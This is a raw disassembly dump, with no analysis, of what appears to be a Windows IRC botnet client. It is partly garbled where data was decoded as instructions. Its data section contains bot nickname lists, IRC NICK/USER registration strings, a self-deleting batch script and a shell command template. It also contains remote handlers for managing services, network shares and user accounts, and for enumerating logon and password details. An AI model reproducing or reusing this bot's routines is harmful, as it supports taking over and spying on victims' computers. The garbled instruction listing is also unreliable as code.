		add	[eax+5], dl
		inc	esp
		add	[ebp+eax+44h], al
		add	ds:5340044h[eax], bh
		inc	esp
		add	ds:5200044h[eax], ch
		inc	esp
		add	ds:5080044h[eax], dl
		inc	esp
		add	ah, bh
		add	al, 44h
		add	ah, dh
		add	al, 44h
		add	al, ch
		add	al, 44h
		add	ah, bl
		add	al, 44h


loc_4401D7:				; DATA XREF: sub_4180E3+41r
					; sub_4180E3+ECr
		add	[ebp+edi*8+42h], dl
		add	al, bl
		add	al, 44h
		add	ah, dl
		add	al, 44h
		add	[esp+ecx*8], ah
		inc	edx
		add	al, dl
		add	al, 44h
		add	ah, cl
		add	al, 44h
		add	ah, al
		add	al, 44h
		add	[esp+eax+4B40044h], bh
		inc	esp
		add	[esp+eax+4A40044h], ch
		inc	esp


loc_440203:				; CODE XREF: seg002:00440248j
		add	[esp+eax+4940044h], bl
		inc	esp
		add	[esp+eax+4800044h], cl
		inc	esp
		add	[eax+4], bh
		inc	esp
		add	[eax+4], dh
		inc	esp
		add	[esp+eax+44h], ch
		add	[esp+eax+44h], ah
		add	ah, al
		mov	edx, 0BA800042h
		inc	edx
		add	[edx+edi*4], bh
		inc	edx
		add	[edx+edi*4], al
		inc	edx
		add	[eax], ah
		mov	edx, 0B9E00042h
		inc	edx
		add	[ecx+edi*4-4667FFBEh], bh
		inc	edx
		add	al, dl
		and	[ebx+0], eax
		jz	short loc_440203
		inc	edx
		add	[eax-47h], dl
		inc	edx
		add	[ecx+edi*4], ch
		inc	edx
		add	[eax], cl
		mov	ecx, 0B8E40042h
		inc	edx
		add	al, al
		mov	eax, 0B89C0042h
		inc	edx
		add	[eax+600042B7h], ah
		add	al, 44h
		add	[eax], dh
		mov	eax, 0B8780042h
		inc	edx
		add	al, ch
		mov	bh, 42h
		add	ah, al
		mov	bh, 42h
		add	[eax-5], bh
		inc	edx
		add	[eax+edi*4], cl
		inc	edx
		add	[ebx+edi*4], ch
		inc	edx
		add	[eax+4], bl
		inc	esp
		add	[esp+eax+44h], dl
		add	[eax+4], dl
		inc	esp
		add	[esp+eax+44h], cl
		add	[eax+4], cl
		inc	esp
		add	[esp+eax+44h], al
		add	[eax+4], al
		inc	esp
		add	[eax], bh
		add	al, 44h
		add	[eax], dh
		add	al, 44h
		add	[eax], ch
		add	al, 44h
		add	[eax], ah
		add	al, 44h
		add	[ebx+edi*4], ch
		inc	edx
		add	al, ah
		mov	ecx, 0B8540042h
		inc	edx
		add	[eax+1C0042B7h], ah
		add	al, 44h
		add	[esp+eax], dl
		inc	esp
		add	[eax-67FFBBCDh], bl
		xor	eax, [eax+eax+10h]
		add	al, 44h
		add	[eax-67FFBBCDh], bl
		xor	eax, [eax+eax-68h]
		xor	eax, [eax+eax-68h]
		xor	eax, [eax+eax+10h]
		or	al, [eax+eax-20h]
		or	[eax+eax+8], eax
		add	al, 44h
		add	[esp+eax], al
		inc	esp
		add	ah, bh
		add	eax, [eax+eax-3Ch]
		mov	edx, 33980042h
		inc	esp
		add	al, dh
		add	eax, [eax+eax-68h]
		xor	eax, [eax+eax-68h]
		xor	eax, [eax+eax-18h]
		add	eax, [eax+eax-20h]
		add	eax, [eax+eax-68h]
		xor	eax, [eax+eax-68h]
		xor	eax, [eax+eax-0Ch]
		or	[eax+eax-68h], eax
		xor	eax, [eax+eax-24h]
		add	eax, [eax+eax-2Ch]
		add	eax, [eax+eax-34h]
		add	eax, [eax+eax+54h]
		rol	byte ptr [edx+0], cl
		enter	4403h, 0
		rol	byte ptr [ebx],	44h
		add	[eax-4FFFBBFDh], bh
		add	eax, [eax+eax-58h]
		add	eax, [eax+eax-5Ch]
		add	eax, [eax+eax+44h]
		mov	dword ptr [edx+0], offset dword_44039C
		nop
		add	eax, [eax+eax-78h]
		add	eax, [eax+eax-80h]
		add	eax, [eax+eax+78h]
		add	eax, [eax+eax+74h]
		add	eax, [eax+eax+70h]
		add	eax, [eax+eax+36h]
		jnz	short $+2
		add	ds:7C000075h, dh
		xor	al, 75h
		jl	short $+2
; ---------------------------------------------------------------------------
		db 3 dup(0)
		dd 6F79347Bh, 7D75h, 7375347Ch,	7Ch, 7865737Ch,	65726634h
		dd 7C65h
dword_44039C	dd 6F6C6F6Ch, 7C617Ch, 746F74h,	6F666F6Dh, 0aMof0		db 'mof0',0
		align 4
aMuha		db 'muha',0
		align 10h
aYeah		db 'yeah',0
		align 4
aAha		db 'aha',0
aGurl		db 'gurl',0
		align 4
aGirl_1		db 'GIRL',0
		align 4
aBoy		db 'BOY',0
aFree_0		db 'Free',0
		align 4
aFuck_0		db 'Fuck',0
		align 10h
aSleeping	db 'Sleeping',0
		align 4
aF_0		db '^^^f^',0
		align 4
aSad		db 'Sad',0
aLuvu		db 'LUVU',0
		align 10h
a___0		db '_|_',0
aBbl		db '|bbl',0
		align 4
		dd offset loc_425242
aMuckc		db 'muckc',0
		align 4
aTruck		db 'truck',0
		align 10h
aTrimy		db 'trimy',0
		align 4
aLuvy		db 'luvy',0
		align 10h
aUi		db 'ui',0
		align 4
aSdf		db 'sdf',0
aRt		db 'rt',0
		align 4
aGf		db 'gf',0
		align 10h
aTy		db 'ty',0
		align 4
aRg		db 'rg',0
		align 4
aHappy		db 'happy',0
		align 10h
aRs		db 'rs',0
		align 4
aQ8A		db '|q8|a',0
		align 4
aQ8		db 'Q8',0
		align 10h
aSick_0		db 'sick}}',0
		align 4
aWiked		db '|wiked|',0
aLuvuF		db '||luvu-f|',0
		align 4
aGens		db '{gens|',0
		align 4
aSex_1		db '{sex}',0
		align 4
aHub		db '{hub}',0
		align 4
aLuck_0		db '|luck|',0
		align 4
aSuck_0		db '|suck|',0
		align 4
aTot		db '-|tot|',0
		align 4
aWoh		db '|woh|',0
		align 4
aTambe		db '|tambe|',0
aLag		db 'lag',0
aBad		db 'bad',0
aZex		db 'zex',0
aLez		db 'lez',0
aWantedlove	db 'WANTEDLOVE',0
		align 4
aCumhur29	db 'cumhur29',0
		align 4
aAdamm		db 'ADAMM',0
		align 4
aMaveRIck	db 'MaVe{R}icK',0
		align 4
aPrometheus	db 'prometheus',0
		align 4
aDallas43m	db 'DALLAS43M',0
		align 10h
aTeoman		db 'TEOMAN```',0
		align 4
aRerpjj		db 'RERPJJ',0
		align 4
aCem39		db 'cem39',0
		align 4
aCool30m	db 'cool30m',0
aTropikal	db 'tropikal',0
		align 10h
aPassenger	db 'passenger',0
		align 4
aNeHaber	db 'NE-HABER',0
		align 4
aUla		db 'ula',0
aIzmirlm	db 'izmirlm',0
aAkden		db 'akden',0
		align 4
aKoray		db 'KORAY',0
		align 4
aAta29		db 'Ata29',0
		align 4
aFirtina	db 'firtina',0
aAdamm33	db 'AdAMM33',0
aM41ist		db 'M41IST',0
		align 4
aMaxsilla	db 'maxsilla',0
		align 10h
aAdem28		db 'Adem28',0
		align 4
aAnkm		db 'ankM',0
		align 10h
aErkan		db 'erkan',0
		align 4
aDevre		db 'devre',0
		align 10h
aYabanc		db 'yabanc',0
		align 4
aBirsen		db 'birsen',0
		align 10h
aA44m		db 'a44m',0             ; DATA XREF: seg002:00440164o
		align 4
aAlcatras	db 'alcatras',0         ; DATA XREF: seg002:00440160o
		align 4
off_4405F4	dd offset byte_4B5245	; DATA XREF: seg002:0044015Co
aSevda		db 'sevda',0            ; DATA XREF: seg002:00440158o
		align 10h
aKotan		db 'kotan',0            ; DATA XREF: seg002:00440154o
		align 4
aTegmen		db 'TEGMEN',0           ; DATA XREF: seg002:00440150o
		align 10h
aAchilles	db 'Achilles',0         ; DATA XREF: seg002:0044014Co
		align 4
aKapk		db 'kapk',0             ; DATA XREF: seg002:00440148o
		align 4
aAngelgirl	db 'angelgirl',0        ; DATA XREF: seg002:00440144o
		align 10h
aHayran		db 'hayran',0           ; DATA XREF: seg002:00440140o
		align 4
aFenerlee	db 'FeNeRLee',0         ; DATA XREF: seg002:0044013Co
		align 4
aAnkar		db 'Ankar',0            ; DATA XREF: seg002:00440138o
		align 4
aDjspace	db 'DJSPACE',0          ; DATA XREF: seg002:00440134o
aAnk32M		db 'ANK-32-M',0         ; DATA XREF: seg002:00440130o
		align 10h
aUmut		db 'umut-',0            ; DATA XREF: seg002:0044012Co
		align 4
aAdalim		db 'ADALIM',0           ; DATA XREF: seg002:00440128o
		align 10h
aKumul		db 'kumul',0            ; DATA XREF: seg002:00440124o
		align 4
aUzgun36	db 'uzgun36',0          ; DATA XREF: seg002:00440120o
aSugarboy	db 'SUGARBOY-',0        ; DATA XREF: seg002:0044011Co
		align 4
aSeviseli	db 'SeViSeLi',0         ; DATA XREF: seg002:00440118o
		align 4
aKashmira	db 'Kashmira',0         ; DATA XREF: seg002:00440114o
		align 4
aAykut1		db 'aykut1',0           ; DATA XREF: seg002:00440110o
		align 4
aSadikaellesme	db 'SaDIkaEllesme',0    ; DATA XREF: seg002:0044010Co
		align 4
aMahinur	db 'MAHINUR',0          ; DATA XREF: seg002:00440108o
aHoly		db 'holy',0             ; DATA XREF: seg002:00440104o
		align 4
aFlord		db 'FLoRD',0            ; DATA XREF: seg002:00440100o
		align 4
aKebikec	db 'kebikec',0          ; DATA XREF: seg002:004400FCo
aEsmerkiz	db 'Esmerkiz',0         ; DATA XREF: seg002:004400F8o
		align 4
aElmaazyok	db 'elmaazyok',0        ; DATA XREF: seg002:004400F4o
		align 4
aEmre		db 'Emre--',0           ; DATA XREF: seg002:004400F0o
		align 4
aRamtha		db 'RAMTHA',0           ; DATA XREF: seg002:004400ECo
		align 4
aImirzali	db 'IMIRZALI--',0       ; DATA XREF: seg002:004400E8o
		align 10h
aHakan3		db 'hakan3',0           ; DATA XREF: seg002:004400E4o
		align 4
aMurat34M	db 'murat34-m',0        ; DATA XREF: seg002:004400E0o
		align 4
aKeyiflisert	db 'keyifliSERT',0      ; DATA XREF: seg002:004400DCo
aArda		db 'arda',0             ; DATA XREF: seg002:004400D8o
		align 4
aDevran		db 'devran',0           ; DATA XREF: seg002:004400D4o
		align 10h
aBerk19m	db 'Berk19m',0          ; DATA XREF: seg002:004400D0o
aDenizlim	db 'DenizliM',0         ; DATA XREF: seg002:004400CCo
		align 4
aCongueror	db 'CoNGuERoR',0        ; DATA XREF: seg002:004400C8o
		align 10h
aAlpay34m	db 'alpay34m',0         ; DATA XREF: seg002:004400C4o
		align 4
aBogac		db 'bogac',0            ; DATA XREF: seg002:004400C0o
		align 4
aDonjuanm	db 'Donjuanm',0         ; DATA XREF: seg002:004400BCo
		align 10h
aAnkh		db 'ankh',0             ; DATA XREF: seg002:004400B8o
		align 4
off_440788	dd offset byte_457441	; DATA XREF: seg002:004400B4o
dword_44078C	dd 414C5941h, 2DhaAlbina		db 'albina',0           ; DATA XREF: seg002:004400ACo
		align 4
aIzmir39m	db 'Izmir39m',0         ; DATA XREF: seg002:004400A8o
		align 4
aZack		db 'ZACK',0             ; DATA XREF: seg002:004400A4o
		align 10h
aAnk32m		db 'ank32m',0           ; DATA XREF: seg002:004400A0o
		align 4
aTurkyy		db 'turkyy',0           ; DATA XREF: seg002:0044009Co
		align 10h
aAhmet		db 'ahmet',0            ; DATA XREF: seg002:00440098o
		align 4
aPelincik	db 'pelincik',0         ; DATA XREF: seg002:00440094o
		align 4
aBlackpearl	db 'blackpearl',0       ; DATA XREF: seg002:00440090o
		align 10h
aRetg		db 'RETG',0             ; DATA XREF: seg002:0044008Co
		align 4
aSamyeli21	db 'samyeli21',0        ; DATA XREF: seg002:00440088o
		align 4
aPiramit	db 'PIRAMIT',0          ; DATA XREF: seg002:00440084o
aAslii		db 'aslii',0            ; DATA XREF: seg002:00440080o
		align 4
aErnesto	db 'ERNESTO',0          ; DATA XREF: seg002:0044007Co
aHaticem	db 'haticem',0          ; DATA XREF: seg002:00440078o
aArzu		db 'ARZU',0             ; DATA XREF: seg002:00440074o
		align 4
aSudenur	db 'SUDENUR',0          ; DATA XREF: seg002:00440070o
aSevmekmi	db 'sevmekmi',0         ; DATA XREF: seg002:0044006Co
		align 10h
aVenedik34	db 'venedik34',0        ; DATA XREF: seg002:00440068o
		align 4
aTekir		db 'tekir',0            ; DATA XREF: seg002:00440064o
		align 4
aMERVE		db 'M-E-R-V-E',0        ; DATA XREF: seg002:00440060o
		align 10h
aTrend3		db 'trend3',0           ; DATA XREF: seg002:0044005Co
		align 4
aMelekk		db 'melekk',0           ; DATA XREF: seg002:00440058o
		align 10h
aAkin		db 'AKIN',0             ; DATA XREF: seg002:00440054o
		align 4
aMary_0		db 'MARY',0             ; DATA XREF: seg002:00440050o
		align 10h
aJericho	db 'JERICHO',0          ; DATA XREF: seg002:0044004Co
aTolga34	db 'Tolga34',0          ; DATA XREF: seg002:00440048o
aMisssunday	db 'misssunday',0       ; DATA XREF: seg002:00440044o
		align 4
aIrmal		db 'irmal',0            ; DATA XREF: seg002:00440040o
		align 4
aObenibisevse	db 'OBeNiBiSeVSe',0     ; DATA XREF: seg002:0044003Co
		align 4
aBerk19		db 'berk19',0           ; DATA XREF: seg002:00440038o
		align 4
aHexaaa		db 'hexaaa',0           ; DATA XREF: seg002:00440034o
		align 4
aErkan27	db 'erkan27',0          ; DATA XREF: seg002:00440030o
aKaan38dent	db 'kaan38dent',0       ; DATA XREF: seg002:0044002Co
		align 4
aCansuuuu	db 'cansuuuu',0         ; DATA XREF: seg002:00440028o
		align 4
aThr45h3r5	db 'THR45H3R5',0        ; DATA XREF: seg002:00440024o
		align 10h
aKencing	db 'Kencing',0          ; DATA XREF: seg002:00440020o
aReshma		db 'reshma',0           ; DATA XREF: seg002:0044001Co
		align 10h
aCamel		db 'CAMEL',0            ; DATA XREF: seg002:00440018o
		align 4
aGirl_0		db 'GirL',0             ; DATA XREF: seg002:00440014o
		align 10h
aImra		db 'imra',0             ; DATA XREF: seg002:00440010o
		align 4
aCoredump	db 'CoreDump',0         ; DATA XREF: seg002:0044000Co
		align 4
aPuregold	db 'puregold',0         ; DATA XREF: seg002:00440008o
		align 10h
aManee		db 'manee',0            ; DATA XREF: seg002:00440000o
		align 4
aTroller	db 'troller',0          ; DATA XREF: seg002:0043FFFCo
aLuisa		db 'Luisa',0            ; DATA XREF: seg002:0043FFF8o
		align 4
aNastysha	db 'nastysha',0         ; DATA XREF: seg002:0043FFF4o
		align 4
aRimpy		db 'rimpy',0            ; DATA XREF: seg002:0043FFF0o
		align 4
aJanno		db 'janno',0            ; DATA XREF: seg002:0043FFECo
		align 4
aBunty		db 'bunty',0            ; DATA XREF: seg002:0043FFE8o
		align 4
aHeval		db 'heval',0            ; DATA XREF: seg002:0043FFE4o
		align 4
aCme		db 'cme',0              ; DATA XREF: seg002:0043FFE0o
aTalika		db 'talika',0           ; DATA XREF: seg002:0043FFD8o
		align 10h
aShez		db 'Shez',0             ; DATA XREF: seg002:0043FFD4o
		align 4
aKen		db 'ken',0              ; DATA XREF: seg002:0043FFD0o
aFlexster	db 'flexster',0         ; DATA XREF: seg002:0043FFCCo
		align 4
aKoko		db 'koko',0             ; DATA XREF: seg002:0043FFC8o
		align 10h
aMale		db 'male',0             ; DATA XREF: seg002:0043FFC4o
		align 4
aSwin		db 'swin',0             ; DATA XREF: seg002:0043FFC0o
		align 10h
aCar1nna	db 'Car1nna',0          ; DATA XREF: seg002:0043FFBCo
aKrizha		db 'KRIZHA',0           ; DATA XREF: seg002:0043FFB8o
		align 10h
aEmilya		db 'emilya',0           ; DATA XREF: seg002:0043FFB4o
		align 4
aBobmarley	db 'BOBMARLEY',0        ; DATA XREF: seg002:0043FFB0o
		align 4
aMaxxguy	db 'maxxguy',0          ; DATA XREF: seg002:0043FFACo
aFarooq		db 'farooq',0           ; DATA XREF: seg002:0043FFA8o
		align 4
aSmartmir	db 'SMARTMIR',0         ; DATA XREF: seg002:0043FFA4o
		align 10h
aM_3:					; DATA XREF: seg002:0043FFA0o
		unicode	0, <M>,0
word_4409E4	dw 4Eh			; DATA XREF: sub_41A702+38r
					; seg002:0043FF9Co
		align 4
dword_4409E8	dd 42h		dword_4409EC	dd 56h		dword_4409F0	dd 43h		dword_4409F4	dd 58h		dword_4409F8	dd 5Ah		dword_4409FC	dd 4Ch		dword_440A00	dd 4Bh		dword_440A04	dd 4Ah		dword_440A08	dd 48h		dword_440A0C	dd 47h		dword_440A10	dd 46h		dword_440A14	dd 44h		dword_440A18	dd 53h		dword_440A1C	dd 50h		dword_440A20	dd 4Fh		dword_440A24	dd 55h		word_440A28	dw 59h			; DATA XREF: sub_41AA26+38r
					; seg002:0043FF50o
		align 4
dword_440A2C	dd 54h		dword_440A30	dd 52h		dword_440A34	dd 45h		dword_440A38	dd 57h		dword_440A3C	dd 51h		dword_440A40	dd 4B43494Eh, 0A732520h, 0dword_440A4C	dd 323334h	dword_440A50	dd 474E4F50h, 0A732520h, 0aNickSUserSHotm	db 'NICK %s',0Ah        ; DATA XREF: sub_417EC3+98o
		db 'USER %s "hotmail.com" "127.0.0.1" :%s',0Ah,0
		align 4
a__0		db '-|`_\{[]}',0        ; DATA XREF: sub_4180E3+BCo
					; sub_4180E3+175r ...
		align 4
dword_440A98	dd 30B0005h, 10h, 48h, 1, 16D016D0h, 0		dd 1, 10000h, 0AFA8BD80h, 11C97D8Ah, 8F4BEh, 8929102Bh
		dd 1, 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0
dword_440AE4	dd 3000005h, 10h, 18h, 1, 3 dup(0)dword_440B00	dd 975201B0h, 11D059CAh, 0A000D5A8h, 51800DC9h,	0
					; DATA XREF: sub_41852C+118o
dword_440B14	dd 1D55B526h, 46C5C137h, 8F6379ABh, 69E8682Ah, 0
					; DATA XREF: sub_41852C+13Fo
aSErrorSD_	db '%s Error: %s <%d>.',0 ; DATA XREF: sub_4188F8+72o
		align 4
aMirc_0		db 'mIRC',0             ; DATA XREF: sub_4189BD+5o
		align 4
aExplorer_exe	db 'explorer.exe',0     ; DATA XREF: sub_4189BD+9Eo
		align 4
aSeshutdownpriv	db 'SeShutdownPrivilege',0 ; DATA XREF: sub_418AE3+2o
aComspecCSS	db '%%comspec%% /c %s %s',0
		align 10h
a@echoOffRepeat	db '@echo off',0Dh,0Ah
		db ':repeat',0Dh,0Ah
		db 'del "%%1"',0Dh,0Ah
		db 'if exist "%%1" goto repeat',0Dh,0Ah
		db 'del "%s"',0
aSdel_bat	db '%sdel.bat',0
		align 10h
unk_440BD0	db  2Dh	; -		; DATA XREF: sub_418C8D+9Co
		db 3, 34h, 2
		db  6Ch	; l
		db 6Fh,	67h, 2
		db    3
aOperatingSyste	db '- operating system is not supported',0
		align 10h
unk_440C00	db  2Dh	; -		; DATA XREF: sub_418C8D+8Fo
		db 3, 34h, 2
		db  6Ch	; l
		db 6Fh,	67h, 2
		db    3
aFailedWithErro	db '- failed with error code %d',0
		align 4
dword_440C28	dd 234032Dh, 2676F6Ch, 25202D03h, 6F6C2073h, 6C632067h
					; DATA XREF: sub_418C8D+5Co
		dd 65726165h, 64h, 0
off_440C48	dd offset aAdd		; DATA XREF: sub_418F5A+6Dr
					; sub_41933E+50r ...
					; "Add"
off_440C4C	dd offset aAdded	; DATA XREF: sub_418F5A+2Dr
					; sub_41933E+82r ...
					; "Added"
dword_440C50	dd 0				dd offset aDelete_0	; "Delete"
		dd offset aDeleted	; "Deleted"
		align 10h
		dd offset aList_1	; "List"
		dd offset aListed	; "Listed"
		dd 0
		dd offset aStart_0	; "Start"
		dd offset aStarted	; "Started"
		dd 0
		dd offset aStop_0	; "Stop"
		dd offset aStopped_0	; "Stopped"
		dd 1, 440CBCh, 440CB4h,	2, 440CA8h, 440C9Ch, 3,	746E6F43h
		dd 65756E69h, 64h, 746E6F43h, 65756E69h, 0
aPaused		db 'Paused',0
		align 4
aPause_0	db 'Pause',0
		align 4
aStopped_0	db 'Stopped',0          ; DATA XREF: seg002:00440C7Co
aStop_0		db 'Stop',0             ; DATA XREF: seg002:00440C78o
		align 4
aStarted	db 'Started',0          ; DATA XREF: seg002:00440C70o
aStart_0	db 'Start',0            ; DATA XREF: seg002:00440C6Co
		align 4
aListed		db 'Listed',0           ; DATA XREF: seg002:00440C64o
		align 4
aList_1		db 'List',0             ; DATA XREF: seg002:00440C60o
		align 4
aDeleted	db 'Deleted',0          ; DATA XREF: seg002:00440C58o
aDelete_0	db 'Delete',0           ; DATA XREF: seg002:00440C54o
		align 4
aAdded		db 'Added',0            ; DATA XREF: seg002:off_440C4Co
		align 4
aAdd		db 'Add',0              ; DATA XREF: seg002:off_440C48o
unk_440D10	db  2Dh	; -		; DATA XREF: sub_418F5A+74o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aSNoServiceSpec	db '- %s: no service specified',0
unk_440D34	db  2Dh	; -		; DATA XREF: sub_418F5A+55o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aErrorWithServi	db '- error with service: ',27h,'%s',27h,' - %s',0
		align 10h
unk_440D60	db  2Dh	; -		; DATA XREF: sub_418F5A+38o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aSServiceS	db '- %s service: ',27h,'%s',27h,0
aAnUnknownError	db 'An unknown error occurred: <%ld>',0 ; DATA XREF: sub_419083+12Co
		align 10h
aTheSystemIsShu	db 'The system is shutting down.',0 ; DATA XREF: sub_419083:loc_41919Bo
		align 10h
aTheServiceHasN	db 'The service has not been started.',0 ; DATA XREF: sub_419083:loc_419194o
		align 4
aTheRequested_1	db 'The requested control code cannot be sent to the service because '
					; DATA XREF: sub_419083:loc_41918Do
		db 'the state of the service.',0
		align 10h
aTheServiceHa_0	db 'The service has been marked for deletion.',0
					; DATA XREF: sub_419083:loc_419186o
		align 4
aTheServiceCoul	db 'The service could not be logged on. The account does not have the'
					; DATA XREF: sub_419083:loc_41917Fo
		db ' correct access rights.',0
		align 4
aTheSpecified_0	db 'The specified service does not exist.',0
					; DATA XREF: sub_419083:loc_419178o
		align 10h
aTheServiceHasB	db 'The service has been disabled.',0 ; DATA XREF: sub_419083:loc_419171o
		align 10h
aTheServiceDe_0	db 'The service depends on another service that has failed to start.',0
					; DATA XREF: sub_419083:loc_41916Ao
		align 4
aTheServiceDepe	db 'The service depends on a service that does not exist or has been '
					; DATA XREF: sub_419083:loc_419163o
		db 'marked for deletion.',0
		align 4
aTheSpecifiedDa	db 'The specified database does not exist.',0
					; DATA XREF: sub_419083:loc_41915Co
		align 4
aAnInstanceOfTh	db 'An instance of the service is already running.',0
					; DATA XREF: sub_419083:loc_419131o
		align 4
aTheRequested_0	db 'The requested control code is not valid, or it is unacceptable to'
					; DATA XREF: sub_419083:loc_41912Ao
		db ' the service.',0
		align 4
aTheProcessForT	db 'The process for the service was started, but it did not call Star'
					; DATA XREF: sub_419083:loc_419123o
		db 'tServiceCtrlDispatcher.',0
		align 10h
aAThreadCouldNo	db 'A thread could not be created for the service.',0
					; DATA XREF: sub_419083:loc_41911Co
		align 10h
aTheDatabaseIsL	db 'The database is locked.',0 ; DATA XREF: sub_419083+8Fo
aTheServiceCann	db 'The service cannot be stopped because other running services are '
					; DATA XREF: sub_419083:loc_4190F1o
		db 'dependent on it.',0
		align 4
aTheServiceBina	db 'The service binary file could not be found.',0
					; DATA XREF: sub_419083:loc_4190E7o
aTheHandleDoesN	db 'The handle does not have the required access right.',0
					; DATA XREF: sub_419083:loc_4190DDo
aTheHandleIsInv	db 'The handle is invalid.',0 ; DATA XREF: sub_419083:loc_4190D3o
		align 4
aTheRequestedCo	db 'The requested control code is undefined.',0
					; DATA XREF: sub_419083:loc_4190C9o
		align 10h
aTheSpecifiedSe	db 'The specified service name is invalid.',0 ; DATA XREF: sub_419083+3Co
		align 4
aSSS		db '%s: %s (%s)',0      ; DATA XREF: sub_419201+EBo
aStopped	db '    Stopped',0      ; DATA XREF: sub_419201:loc_4192CDo
aStarting	db '   Starting',0      ; DATA XREF: sub_419201:loc_4192C6o
aStoping	db '    Stoping',0      ; DATA XREF: sub_419201:loc_4192BFo
aRunning_0	db '    Running',0      ; DATA XREF: sub_419201:loc_4192B8o
aContinuing	db ' Continuing',0      ; DATA XREF: sub_419201:loc_4192B1o
aPausing	db '    Pausing',0      ; DATA XREF: sub_419201:loc_4192AAo
aPaused_0	db '     Paused',0      ; DATA XREF: sub_419201:loc_4192A3o
aUnknown_1	db '    Unknown',0      ; DATA XREF: sub_419201+9Bo
aTheFollowingWi	db 'The following Windows services are registered:',0
					; DATA XREF: sub_419201+25o
		align 4
unk_4412B4	db  2Dh	; -		; DATA XREF: sub_41933E+ABo
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aSNoShareSpecif	db '- %s: no share specified',0
		align 4
dword_4412D8	dd 234032Dh, 274656Eh, 25202D03h, 68732073h, 3A657261h
					; DATA XREF: sub_41933E+89o
		dd 73252720h, 27h
unk_4412F4	db  2Dh	; -		; DATA XREF: sub_41933E+57o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aSErrorWithShar	db '- %s: error with share: ',27h,'%s',27h,' - %s',0
		align 10h
a14s24s6u4s	db '%-14S %-24S %-6u %-4s',0 ; DATA XREF: sub_419533+D0o
		align 4
aNo		db 'No',0               ; DATA XREF: sub_419533+BCo
		align 4
aYes		db 'Yes',0              ; DATA XREF: sub_419533+B5o
unk_441340	db  2Dh	; -		; DATA XREF: sub_419533+76o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aShareListError	db '- share list error %s <%ld>',0
		align 4
aShareNameResou	db 'Share name:    Resource:                Uses:  Desc:',0
					; DATA XREF: sub_419533+26o
		align 10h
unk_4413A0	db  2Dh	; -		; DATA XREF: sub_419654+B6o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aSNoUsernameSpe	db '- %s: no username specified',0
		align 4
unk_4413C8	db  2Dh	; -		; DATA XREF: sub_419654+94o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aSErrorWithUser	db '- %s: error with username: ',27h,'%s',27h,' - %s',0
		align 4
unk_4413F8	db  2Dh	; -		; DATA XREF: sub_419654+6Do
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aSUsernameS	db '- %s username: ',27h,'%s',27h,0
		align 4
unk_441418	db  2Dh	; -		; DATA XREF: sub_41979A+394o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aUserInfoErrorL	db '- user info error <%ld>',0
		align 4
aUnitsPerWeekD	db 'Units Per Week: %d',0 ; DATA XREF: sub_41979A+36Ao
		align 10h
aMax_StorageD	db 'Max. Storage: %d',0 ; DATA XREF: sub_41979A+33Fo
		align 4
aUserSLanguageD	db 'User',27h,'s Language: %d',0 ; DATA XREF: sub_41979A+317o
aCountryCodeD	db 'Country Code: %d',0 ; DATA XREF: sub_41979A+2ECo
		align 4
aWorkstationsS	db 'Workstations: %S',0 ; DATA XREF: sub_41979A+2C4o
		align 10h
aLogonServerS	db 'Logon Server: %S',0 ; DATA XREF: sub_41979A+299o
		align 4
aLastLogoffD	db 'Last Logoff: %d',0  ; DATA XREF: sub_41979A+271o
aLastLogonD	db 'Last Logon: %d',0   ; DATA XREF: sub_41979A+246o
		align 4
aNumberOfLogins	db 'Number of Logins: %d',0 ; DATA XREF: sub_41979A+21Eo
		align 4
aBadPasswordCou	db 'Bad Password Count: %d',0 ; DATA XREF: sub_41979A+1F3o
		align 4
aPasswordAgeD	db 'Password Age: %d',0 ; DATA XREF: sub_41979A+1CBo
		align 4
aParametersS	db 'Parameters: %S',0   ; DATA XREF: sub_41979A+1A0o
		align 4
aHomeDirectoryS	db 'Home Directory: %S',0 ; DATA XREF: sub_41979A+178o
		align 4
aAuthFlagsD	db 'Auth Flags: %d',0   ; DATA XREF: sub_41979A+14Do
		align 4
aPrivilegeLevel	db 'Privilege Level: %s',0 ; DATA XREF: sub_41979A+125o
aGuest		db 'Guest',0            ; DATA XREF: sub_41979A:loc_4198B3o
		align 4
aUser_1		db 'User',0             ; DATA XREF: sub_41979A:loc_4198ACo
		align 10h
aCommentS	db 'Comment: %S',0      ; DATA XREF: sub_41979A+D4o
aUserCommentS	db 'User Comment: %S',0 ; DATA XREF: sub_41979A+ACo
		align 10h
aFullNameS	db 'Full Name: %S',0    ; DATA XREF: sub_41979A+81o
		align 10h
aAccountS	db 'Account: %S',0      ; DATA XREF: sub_41979A+50o
aTotalUsersFoun	db 'Total users found: %d.',0 ; DATA XREF: sub_419B68+14Fo
		align 4
unk_4415C4	db  2Dh	; -		; DATA XREF: sub_419B68+F7o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aAnAccessViolat	db '- an access violation has occured',0
		align 10h
aS_6		db '  %S',0             ; DATA XREF: sub_419B68+BEo
		align 4
unk_4415F8	db  2Dh	; -		; DATA XREF: sub_419B68+7Ao
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aUserListErrorS	db '- user list error %s <%ld>',0
aUsernameAccoun	db 'Username accounts for local system:',0 ; DATA XREF: sub_419B68+29o
aNetworkConnect	db 'Network connection not found.',0 ; DATA XREF: sub_419CE8:loc_419E05o
		align 10h
aTheUserNameCou	db 'The user name could not be found.',0 ; DATA XREF: sub_419CE8:loc_419DFEo
		align 4
aShareNotFound_	db 'Share not found.',0 ; DATA XREF: sub_419CE8:loc_419DF7o
		align 4
aTheComputerNam	db 'The computer name is invalid.',0 ; DATA XREF: sub_419CE8:loc_419DF0o
		align 4
aAnUnknownErr_0	db 'An unknown error occurred.',0 ; DATA XREF: sub_419CE8:loc_419DE9o
		align 4
aThePasswordIsS	db 'The password is shorter than required (or does not meet the passw'
					; DATA XREF: sub_419CE8:loc_419DCCo
